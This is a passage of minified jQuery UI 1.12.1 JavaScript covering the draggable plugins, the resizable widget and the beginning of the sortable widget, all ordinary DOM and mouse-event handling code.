xed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(e,i,s){return s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s,this],!0),/^(drag|start|stop)/.test(e)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i,s){var n=t.extend({},i,{item:s.element});s.sortables=[],t(s.options.connectToSortable).each(function(){var i=t(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",e,n))})},stop:function(e,i,s){var n=t.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,t.each(s.sortables,function(){var t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,n))})},drag:function(e,i,s){t.each(s.sortables,function(){var n=!1,o=this;o.positionAbs=s.positionAbs,o.helperProportions=s.helperProportions,o.offset.click=s.offset.click,o._intersectsWith(o.containerCache)&&(n=!0,t.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==o&&this._intersectsWith(this.containerCache)&&t.contains(o.element[0],this.element[0])&&(n=!1),n})),n?(o.isOver||(o.isOver=1,s._parent=i.helper.parent(),o.currentItem=i.helper.appendTo(o.element).data("ui-sortable-item",!0),o.options._helper=o.options.helper,o.options.helper=function(){return i.helper[0]},e.target=o.currentItem[0],o._mouseCapture(e,!0),o._mouseStart(e,!0,!0),o.offset.click.top=s.offset.click.top,o.offset.click.left=s.offset.click.left,o.offset.parent.left-=s.offset.parent.left-o.offset.parent.left,o.offset.parent.top-=s.offset.parent.top-o.offset.parent.top,s._trigger("toSortable",e),s.dropped=o.element,t.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,o.fromOutside=s),o.currentItem&&(o._mouseDrag(e),i.position=o.position)):o.isOver&&(o.isOver=0,o.cancelHelperRemoval=!0,o.options._revert=o.options.revert,o.options.revert=!1,o._trigger("out",e,o._uiHash(o)),o._mouseStop(e,!0),o.options.revert=o.options._revert,o.options.helper=o.options._helper,o.placeholder&&o.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(e),i.position=s._generatePosition(e,!0),s._trigger("fromSortable",e),s.dropped=!1,t.each(s.sortables,function(){this.refreshPositions()}))})}}),t.ui.plugin.add("draggable","cursor",{start:function(e,i,s){var n=t("body"),o=s.options;n.css("cursor")&&(o._cursor=n.css("cursor")),n.css("cursor",o.cursor)},stop:function(e,i,s){var n=s.options;n._cursor&&t("body").css("cursor",n._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i,s){var n=t(i.helper),o=s.options;n.css("opacity")&&(o._opacity=n.css("opacity")),n.css("opacity",o.opacity)},stop:function(e,i,s){var n=s.options;n._opacity&&t(i.helper).css("opacity",n._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(e,i,s){var n=s.options,o=!1,a=s.scrollParentNotHidden[0],r=s.document[0];a!==r&&"HTML"!==a.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+a.offsetHeight-e.pageY<n.scrollSensitivity?a.scrollTop=o=a.scrollTop+n.scrollSpeed:e.pageY-s.overflowOffset.top<n.scrollSensitivity&&(a.scrollTop=o=a.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+a.offsetWidth-e.pageX<n.scrollSensitivity?a.scrollLeft=o=a.scrollLeft+n.scrollSpeed:e.pageX-s.overflowOffset.left<n.scrollSensitivity&&(a.scrollLeft=o=a.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(e.pageY-t(r).scrollTop()<n.scrollSensitivity?o=t(r).scrollTop(t(r).scrollTop()-n.scrollSpeed):t(window).height()-(e.pageY-t(r).scrollTop())<n.scrollSensitivity&&(o=t(r).scrollTop(t(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(e.pageX-t(r).scrollLeft()<n.scrollSensitivity?o=t(r).scrollLeft(t(r).scrollLeft()-n.scrollSpeed):t(window).width()-(e.pageX-t(r).scrollLeft())<n.scrollSensitivity&&(o=t(r).scrollLeft(t(r).scrollLeft()+n.scrollSpeed)))),o!==!1&&t.ui.ddmanager&&!n.dropBehaviour&&t.ui.ddmanager.prepareOffsets(s,e)}}),t.ui.plugin.add("draggable","snap",{start:function(e,i,s){var n=s.options;s.snapElements=[],t(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var e=t(this),i=e.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:e.outerWidth(),height:e.outerHeight(),top:i.top,left:i.left})})},drag:function(e,i,s){var n,o,a,r,l,h,c,u,d,p,f=s.options,g=f.snapTolerance,m=i.offset.left,_=m+s.helperProportions.width,v=i.offset.top,b=v+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)l=s.snapElements[d].left-s.margins.left,h=l+s.snapElements[d].width,c=s.snapElements[d].top-s.margins.top,u=c+s.snapElements[d].height,l-g>_||m>h+g||c-g>b||v>u+g||!t.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(n=g>=Math.abs(c-b),o=g>=Math.abs(u-v),a=g>=Math.abs(l-_),r=g>=Math.abs(h-m),n&&(i.position.top=s._convertPositionTo("relative",{top:c-s.helperProportions.height,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left)),p=n||o||a||r,"outer"!==f.snapMode&&(n=g>=Math.abs(c-v),o=g>=Math.abs(u-b),a=g>=Math.abs(l-m),r=g>=Math.abs(h-_),n&&(i.position.top=s._convertPositionTo("relative",{top:c,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||o||a||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||o||a||r||p)}}),t.ui.plugin.add("draggable","stack",{start:function(e,i,s){var n,o=s.options,a=t.makeArray(t(o.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});a.length&&(n=parseInt(t(a[0]).css("zIndex"),10)||0,t(a).each(function(e){t(this).css("zIndex",n+e)}),this.css("zIndex",n+a.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i,s){var n=t(i.helper),o=s.options;n.css("zIndex")&&(o._zIndex=n.css("zIndex")),n.css("zIndex",o.zIndex)},stop:function(e,i,s){var n=s.options;n._zIndex&&t(i.helper).css("zIndex",n._zIndex)}}),t.ui.draggable,t.widget("ui.resizable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(e,i){if("hidden"===t(e).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return e[s]>0?!0:(e[s]=1,n=e[s]>0,e[s]=0,n)},_create:function(){var e,i=this.options,s=this;this._addClass("ui-resizable"),t.extend(this,{_aspectRatio:!!i.aspectRatio,aspectRatio:i.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:i.helper||i.ghost||i.animate?i.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(t("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,e={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(e),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(e),this._proportionallyResize()),this._setupHandles(),i.autoHide&&t(this.element).on("mouseenter",function(){i.disabled||(s._removeClass("ui-resizable-autohide"),s._handles.show())
}).on("mouseleave",function(){i.disabled||s.resizing||(s._addClass("ui-resizable-autohide"),s._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy();var e,i=function(e){t(e).removeData("resizable").removeData("ui-resizable").off(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_setOption:function(t,e){switch(this._super(t,e),t){case"handles":this._removeHandles(),this._setupHandles();break;default:}},_setupHandles:function(){var e,i,s,n,o,a=this.options,r=this;if(this.handles=a.handles||(t(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=t(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),s=this.handles.split(","),this.handles={},i=0;s.length>i;i++)e=t.trim(s[i]),n="ui-resizable-"+e,o=t("<div>"),this._addClass(o,"ui-resizable-handle "+n),o.css({zIndex:a.zIndex}),this.handles[e]=".ui-resizable-"+e,this.element.append(o);this._renderAxis=function(e){var i,s,n,o;e=e||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=t(this.handles[i]),this._on(this.handles[i],{mousedown:r._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=t(this.handles[i],this.element),o=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),e.css(n,o),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){r.resizing||(this.className&&(o=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),r.axis=o&&o[1]?o[1]:"se")}),a.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._handles.remove()},_mouseCapture:function(e){var i,s,n=!1;for(i in this.handles)s=t(this.handles[i])[0],(s===e.target||t.contains(s,e.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(e){var i,s,n,o=this.options,a=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),o.containment&&(i+=t(o.containment).scrollLeft()||0,s+=t(o.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:a.width(),height:a.height()},this.originalSize=this._helper?{width:a.outerWidth(),height:a.outerHeight()}:{width:a.width(),height:a.height()},this.sizeDiff={width:a.outerWidth()-a.width(),height:a.outerHeight()-a.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:e.pageX,top:e.pageY},this.aspectRatio="number"==typeof o.aspectRatio?o.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=t(".ui-resizable-"+this.axis).css("cursor"),t("body").css("cursor","auto"===n?this.axis+"-resize":n),this._addClass("ui-resizable-resizing"),this._propagate("start",e),!0},_mouseDrag:function(e){var i,s,n=this.originalMousePosition,o=this.axis,a=e.pageX-n.left||0,r=e.pageY-n.top||0,l=this._change[o];return this._updatePrevProperties(),l?(i=l.apply(this,[e,a,r]),this._updateVirtualBoundaries(e.shiftKey),(this._aspectRatio||e.shiftKey)&&(i=this._updateRatio(i,e)),i=this._respectSize(i,e),this._updateCache(i),this._propagate("resize",e),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),t.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",e,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(e){this.resizing=!1;var i,s,n,o,a,r,l,h=this.options,c=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:c.sizeDiff.height,o=s?0:c.sizeDiff.width,a={width:c.helper.width()-o,height:c.helper.height()-n},r=parseFloat(c.element.css("left"))+(c.position.left-c.originalPosition.left)||null,l=parseFloat(c.element.css("top"))+(c.position.top-c.originalPosition.top)||null,h.animate||this.element.css(t.extend(a,{top:l,left:r})),c.helper.height(c.size.height),c.helper.width(c.size.width),this._helper&&!h.animate&&this._proportionallyResize()),t("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",e),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var e,i,s,n,o,a=this.options;o={minWidth:this._isNumber(a.minWidth)?a.minWidth:0,maxWidth:this._isNumber(a.maxWidth)?a.maxWidth:1/0,minHeight:this._isNumber(a.minHeight)?a.minHeight:0,maxHeight:this._isNumber(a.maxHeight)?a.maxHeight:1/0},(this._aspectRatio||t)&&(e=o.minHeight*this.aspectRatio,s=o.minWidth/this.aspectRatio,i=o.maxHeight*this.aspectRatio,n=o.maxWidth/this.aspectRatio,e>o.minWidth&&(o.minWidth=e),s>o.minHeight&&(o.minHeight=s),o.maxWidth>i&&(o.maxWidth=i),o.maxHeight>n&&(o.maxHeight=n)),this._vBoundaries=o},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,i=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=e.left+(i.width-t.width),t.top=null),"nw"===s&&(t.top=e.top+(i.height-t.height),t.left=e.left+(i.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,i=this.axis,s=this._isNumber(t.width)&&e.maxWidth&&e.maxWidth<t.width,n=this._isNumber(t.height)&&e.maxHeight&&e.maxHeight<t.height,o=this._isNumber(t.width)&&e.minWidth&&e.minWidth>t.width,a=this._isNumber(t.height)&&e.minHeight&&e.minHeight>t.height,r=this.originalPosition.left+this.originalSize.width,l=this.originalPosition.top+this.originalSize.height,h=/sw|nw|w/.test(i),c=/nw|ne|n/.test(i);return o&&(t.width=e.minWidth),a&&(t.height=e.minHeight),s&&(t.width=e.maxWidth),n&&(t.height=e.maxHeight),o&&h&&(t.left=r-e.minWidth),s&&h&&(t.left=r-e.maxWidth),a&&c&&(t.top=l-e.minHeight),n&&c&&(t.top=l-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var e=0,i=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],n=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];4>e;e++)i[e]=parseFloat(s[e])||0,i[e]+=parseFloat(n[e])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,e=0,i=this.helper||this.element;this._proportionallyResizeElements.length>e;e++)t=this._proportionallyResizeElements[e],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var e=this.element,i=this.options;this.elementOffset=e.offset(),this._helper?(this.helper=this.helper||t("<div style='overflow:hidden;'></div>"),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize,s=this.originalPosition;return{left:s.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},sw:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,i,s]))},ne:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},nw:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,i,s]))}},_propagate:function(e,i){t.ui.plugin.call(this,e,[i,this.ui()]),"resize"!==e&&this._trigger(e,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),t.ui.plugin.add("resizable","animate",{stop:function(e){var i=t(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,o=n.length&&/textarea/i.test(n[0].nodeName),a=o&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=o?0:i.sizeDiff.width,l={width:i.size.width-r,height:i.size.height-a},h=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,c=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null;i.element.animate(t.extend(l,c&&h?{top:c,left:h}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};n&&n.length&&t(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",e)}})}}),t.ui.plugin.add("resizable","containment",{start:function(){var e,i,s,n,o,a,r,l=t(this).resizable("instance"),h=l.options,c=l.element,u=h.containment,d=u instanceof t?u.get(0):/parent/.test(u)?c.parent().get(0):u;d&&(l.containerElement=t(d),/document/.test(u)||u===document?(l.containerOffset={left:0,top:0},l.containerPosition={left:0,top:0},l.parentData={element:t(document),left:0,top:0,width:t(document).width(),height:t(document).height()||document.body.parentNode.scrollHeight}):(e=t(d),i=[],t(["Top","Right","Left","Bottom"]).each(function(t,s){i[t]=l._num(e.css("padding"+s))}),l.containerOffset=e.offset(),l.containerPosition=e.position(),l.containerSize={height:e.innerHeight()-i[3],width:e.innerWidth()-i[1]},s=l.containerOffset,n=l.containerSize.height,o=l.containerSize.width,a=l._hasScroll(d,"left")?d.scrollWidth:o,r=l._hasScroll(d)?d.scrollHeight:n,l.parentData={element:d,left:s.left,top:s.top,width:a,height:r}))},resize:function(e){var i,s,n,o,a=t(this).resizable("instance"),r=a.options,l=a.containerOffset,h=a.position,c=a._aspectRatio||e.shiftKey,u={top:0,left:0},d=a.containerElement,p=!0;d[0]!==document&&/static/.test(d.css("position"))&&(u=l),h.left<(a._helper?l.left:0)&&(a.size.width=a.size.width+(a._helper?a.position.left-l.left:a.position.left-u.left),c&&(a.size.height=a.size.width/a.aspectRatio,p=!1),a.position.left=r.helper?l.left:0),h.top<(a._helper?l.top:0)&&(a.size.height=a.size.height+(a._helper?a.position.top-l.top:a.position.top),c&&(a.size.width=a.size.height*a.aspectRatio,p=!1),a.position.top=a._helper?l.top:0),n=a.containerElement.get(0)===a.element.parent().get(0),o=/relative|absolute/.test(a.containerElement.css("position")),n&&o?(a.offset.left=a.parentData.left+a.position.left,a.offset.top=a.parentData.top+a.position.top):(a.offset.left=a.element.offset().left,a.offset.top=a.element.offset().top),i=Math.abs(a.sizeDiff.width+(a._helper?a.offset.left-u.left:a.offset.left-l.left)),s=Math.abs(a.sizeDiff.height+(a._helper?a.offset.top-u.top:a.offset.top-l.top)),i+a.size.width>=a.parentData.width&&(a.size.width=a.parentData.width-i,c&&(a.size.height=a.size.width/a.aspectRatio,p=!1)),s+a.size.height>=a.parentData.height&&(a.size.height=a.parentData.height-s,c&&(a.size.width=a.size.height*a.aspectRatio,p=!1)),p||(a.position.left=a.prevPosition.left,a.position.top=a.prevPosition.top,a.size.width=a.prevSize.width,a.size.height=a.prevSize.height)},stop:function(){var e=t(this).resizable("instance"),i=e.options,s=e.containerOffset,n=e.containerPosition,o=e.containerElement,a=t(e.helper),r=a.offset(),l=a.outerWidth()-e.sizeDiff.width,h=a.outerHeight()-e.sizeDiff.height;e._helper&&!i.animate&&/relative/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:l,height:h}),e._helper&&!i.animate&&/static/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:l,height:h})}}),t.ui.plugin.add("resizable","alsoResize",{start:function(){var e=t(this).resizable("instance"),i=e.options;t(i.alsoResize).each(function(){var e=t(this);e.data("ui-resizable-alsoresize",{width:parseFloat(e.width()),height:parseFloat(e.height()),left:parseFloat(e.css("left")),top:parseFloat(e.css("top"))})})},resize:function(e,i){var s=t(this).resizable("instance"),n=s.options,o=s.originalSize,a=s.originalPosition,r={height:s.size.height-o.height||0,width:s.size.width-o.width||0,top:s.position.top-a.top||0,left:s.position.left-a.left||0};t(n.alsoResize).each(function(){var e=t(this),s=t(this).data("ui-resizable-alsoresize"),n={},o=e.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];t.each(o,function(t,e){var i=(s[e]||0)+(r[e]||0);i&&i>=0&&(n[e]=i||null)}),e.css(n)})},stop:function(){t(this).removeData("ui-resizable-alsoresize")}}),t.ui.plugin.add("resizable","ghost",{start:function(){var e=t(this).resizable("instance"),i=e.size;e.ghost=e.originalElement.clone(),e.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0}),e._addClass(e.ghost,"ui-resizable-ghost"),t.uiBackCompat!==!1&&"string"==typeof e.options.ghost&&e.ghost.addClass(this.options.ghost),e.ghost.appendTo(e.helper)},resize:function(){var e=t(this).resizable("instance");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=t(this).resizable("instance");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}}),t.ui.plugin.add("resizable","grid",{resize:function(){var e,i=t(this).resizable("instance"),s=i.options,n=i.size,o=i.originalSize,a=i.originalPosition,r=i.axis,l="number"==typeof s.grid?[s.grid,s.grid]:s.grid,h=l[0]||1,c=l[1]||1,u=Math.round((n.width-o.width)/h)*h,d=Math.round((n.height-o.height)/c)*c,p=o.width+u,f=o.height+d,g=s.maxWidth&&p>s.maxWidth,m=s.maxHeight&&f>s.maxHeight,_=s.minWidth&&s.minWidth>p,v=s.minHeight&&s.minHeight>f;s.grid=l,_&&(p+=h),v&&(f+=c),g&&(p-=h),m&&(f-=c),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=a.top-d):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=a.left-u):((0>=f-c||0>=p-h)&&(e=i._getPaddingPlusBorderDimensions(this)),f-c>0?(i.size.height=f,i.position.top=a.top-d):(f=c-e.height,i.size.height=f,i.position.top=a.top+o.height-f),p-h>0?(i.size.width=p,i.position.left=a.left-u):(p=h-e.width,i.size.width=p,i.position.left=a.left+o.width-p))}}),t.ui.resizable,t.widget("ui.sortable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return t>=e&&e+i>t},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var e=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),t.each(this.items,function(){e._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;t>=0;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(e,i){var s=null,n=!1,o=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(e),t(e.target).parents().each(function(){return t.data(this,o.widgetName+"-item")===o?(s=t(this),!1):void 0}),t.data(e.target,o.widgetName+"-item")===o&&(s=t(e.target)),s?!this.options.handle||i||(t(this.options.handle,s).find("*").addBack().each(function(){this===e.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(e,i,s){var n,o,a=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(e),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},t.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(e),this.originalPageX=e.pageX,this.originalPageY=e.pageY,a.cursorAt&&this._adjustOffsetFromHelper(a.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),a.containment&&this._setContainment(),a.cursor&&"auto"!==a.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",a.cursor),this.storedStylesheet=t("<style>*{ cursor: "+a.cursor+" !important; }</style>").appendTo(o)),a.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",a.opacity)),a.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",a.zIndex)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",e,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",e,this._uiHash(this));return t.ui.ddmanager&&(t.ui.ddmanager.current=this),t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this._mouseDrag(e),!0},_mouseDrag:function(e){var 